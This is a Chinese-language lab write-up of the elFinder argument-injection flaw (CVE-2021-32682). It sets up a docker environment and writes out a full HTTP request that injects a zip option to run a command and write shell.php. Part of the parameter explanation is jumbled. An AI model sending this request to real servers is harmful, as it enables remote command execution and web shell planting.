漏洞描述
elFinder 是一个用于 Web 的开源文件管理器,使用 jQuery UI 用 JavaScript 编写。
在 elFinder 2.1.48 及更早版本中发现一个参数注入漏洞。此漏洞可能允许攻击者在托管 elFinder PHP 连接器的服务器上执行任意命令,即使配置最少也是如此。这些问题已在版本 2.1.59 中修补。解决方法是,确保连接器不会在未经身份验证的情况下公开。
引用:
- elFinder - A Case Study of Web File Manager Vulnerabilities | Sonar
- elFinder Archive Command Injection ≈ Packet Storm
- CVE-2021-32682 elFinder RCE 简单分析 - 先知社区
漏洞环境及利用
搭建docker环境
访问8080端口
创建1.txt
右键创建2.zip
然后,发送以下请求以执行任意命令:
GET /php/connector.minimal.php?cmd=archive&name=-TvTT=id>shell.php%20%23%20a.zip&target=l1_Lw&targets%5B1%5D=l1_Mi56aXA&targets%5B0%5D=l1_MS50eHQ&type=application%2Fzip HTTP/1.1
Host: your-ip
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://localhost.lan:8080/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close
在此请求中,您可以看到 3 个重要参数:
name
,则其值等于 ,可以修改为任意命令-TvTT=id>shell.php # a.zip
id>shell.php
targets[0]
,则其值等于 。 表示第一个存储卷,是 base64 编码的字符串l1_MS50eHQ
l1
MS50eHQ
1.txt
targets[1]
,则其值等于 。 表示第一个存储卷,是 base64 编码的字符串l1_Mi56aXA
l1
Mi56aXA
2.zip
尽管此请求响应了错误消息,但我们的命令已执行并已写入:shell.php
http://your-ip:8080/files/shell.php